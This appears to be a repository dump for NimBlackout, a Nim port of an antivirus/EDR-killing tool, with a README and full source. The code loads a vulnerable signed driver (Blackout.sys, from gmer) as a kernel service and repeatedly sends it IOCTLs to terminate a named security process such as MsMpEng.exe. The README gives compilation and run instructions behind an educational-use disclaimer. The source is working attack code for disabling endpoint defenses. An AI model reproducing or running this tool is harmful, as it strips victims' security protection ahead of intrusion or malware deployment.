[
  {
    "path": "README.md",
    "content": "# NimBlackout\n\n[![Nim Version](https://img.shields.io/badge/nim-1.6.8-orange.svg)](https://nim-lang.org/)\n\n> **Note**: This project is for educational purposes only. The use of this code for any malicious activity is strictly prohibited. I am not responsible for any misuse of this software.\n\nNimBlackout is an adaptation of the [@Blackout](https://github.com/ZeroMemoryEx/Blackout) project originally developed in C++ by [@ZeroMemoryEx](https://github.com/ZeroMemoryEx), which consists of removing AV/EDRs using the gmer (BYOVD) driver.\n\nThe main reason for this project was to understand how BYOVD attacks work, and then to provide a valid PoC developed in Nim.\n\nAll credit must goes to the original author [@ZeroMemoryEx](https://github.com/ZeroMemoryEx).\n\n\n# Usage\n- Compilation\n  - Linux\n    ```\n    nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc c NimBlackout.nim\n    ```\n  - Windows\n    ```\n    nim c NimBlackout.nim\n    ```\n- Put Blackout.sys driver into current directory\n- Launch NimBlackout (with admin privileges)\n  ```\n  NimBlackout.exe <process name>\n  ```\n\nIn order to prevent restarting process (like MsMpEng.exe), keep the program running.\n\n\n# Demo\n![](https://github.com/Helixo32/NimBlackout/blob/main/Github_CrimsonKiller.gif)\n"
  },
  {
    "path": "src/NimBlackout.nim",
    "content": "import winim\nimport strformat\nimport strutils\nimport os\nimport parseopt\n\n\nconst INITIALIZE_IOCTL_CODE = 0x9876C004\nconst TERMINATE_PROCESS_IOCTL_CODE = 0x9876C094\n\n\n# Overload $ proc to allow string conversion of szExeFile\nproc `$`(a: array[MAX_PATH, WCHAR]): string = $cast[WideCString](unsafeAddr a[0])\n\n\n\nproc GetPID(process_name: string): DWORD =\n    var\n        pid: DWORD = 0\n        entry: PROCESSENTRY32\n        hSnapshot: HANDLE\n    entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))\n    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)\n    defer: CloseHandle(hSnapshot)\n    if Process32First(hSnapshot, addr entry):\n        while Process32Next(hSnapshot, addr entry):\n            if $entry.szExeFile == process_name:\n                pid = entry.th32ProcessID\n                break\n    return pid\n\n\n\nproc LoadDriver(driver_path: cstring): bool=\n    var\n        hSCM: SC_HANDLE\n        hService: SC_HANDLE\n        service_name: string = \"NimBlackout\"\n\n    # Open a handle to the SCM database\n    hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)\n    if hSCM == 0:\n        echo \"[-] OpenSCManager failed {GetLastError()}\"\n        return false\n\n    hService = CreateServiceA(\n        hSCM,\n        service_name,\n        service_name,\n        SERVICE_START or DELETE or SERVICE_STOP,\n        SERVICE_KERNEL_DRIVER,\n        SERVICE_DEMAND_START,\n        SERVICE_ERROR_IGNORE,\n        &driver_path,\n        NULL,\n        NULL,\n        NULL,\n        NULL,\n        NULL\n    )\n\n    if hService == 0:\n        if GetLastError() == 1073:\n            StartServiceA(hService, 0, NULL)\n            echo \"[+] Service started\"\n            return true\n        else:\n            echo fmt\"[-] CreateService failed: {GetLastError()}\"\n            return false\n\n    StartServiceA(hService, 0, NULL)\n    echo \"[+] Service started\"\n\n    CloseServiceHandle(hService)\n    CloseServiceHandle(hSCM)\n\n    return true\n\n\n\nproc NimBlackout(process_name: string, driver_path: cstring): void=\n    var\n        hDevice: HANDLE\n        target_pid: DWORD\n        bytes_returned: DWORD\n        output: DWORD\n        outputSize: DWORD = cast[DWORD](sizeof(output))\n        result: bool\n\n    if LoadDriver(driver_path):\n        echo \"[+] Driver loaded successfully !\"\n    else:\n        echo \"[-] Failed to load driver, try to run as administrator !\"\n        return\n\n    hDevice = CreateFileA(\"\\\\\\\\.\\\\NimBlackout\", GENERIC_READ or GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0)\n    if hDevice == INVALID_HANDLE_VALUE:\n        echo fmt\"[-] Failed to open handle to driver, error code: {GetLastError()}\"\n        return\n    echo \"[+] Handle to driver open !\"\n\n\n    target_pid = GetPID(process_name)\n    if target_pid == 0:\n        echo fmt\"[-] {process_name} not found !\"\n        quit(1)\n    echo fmt\"[+] PID of {process_name}: {target_pid}\"\n\n    result = DeviceIoControl(hDevice, cast[DWORD](INITIALIZE_IOCTL_CODE), &target_pid, 64, &output, outputSize, &bytes_returned, NULL)\n    if result == false:\n        echo \"[-] Driver failed to initialize\"\n        echo \"[*] Windows error code: \" & $GetLastError()\n        quit(1)\n    echo \"[+] Driver initialized !\"\n\n    while true:\n        target_pid = GetPID(process_name)\n        if target_pid == 0:\n            continue\n\n        result = DeviceIoControl(hDevice, cast[DWORD](TERMINATE_PROCESS_IOCTL_CODE), &target_pid, cast[DWORD](sizeof(target_pid)), &output, outputSize, &bytes_returned, NULL)\n        if result == false:\n            echo \"[-] Process failed to terminate\"\n            echo \"[*] Windows error code: \" & $GetLastError()\n            continue\n        echo \"[+] Process has been terminated !\\n\\\\_ [*] Keep running if you want avoid restarting\"\n\n\nwhen isMainModule:\n    var args: seq[string] = commandLineParams()\n    var par = initOptParser(args)\n    var process: seq[string]\n\n    for kind, key, val in args.getopt():\n        case kind\n        of cmdLongOption, cmdShortOption:\n            discard\n        of cmdArgument:\n            process.add key\n        of cmdEnd: assert(false)\n    \n\n    var driver_path = getCurrentDir() & r\"\\Blackout.sys\"\n    try:\n        var process_target = process[0]\n        NimBlackout(process_target, driver_path)\n    except:\n        echo \"\\n[*] Usage: NimBlackout.exe <process to kill>\\n\"\n"
  }
]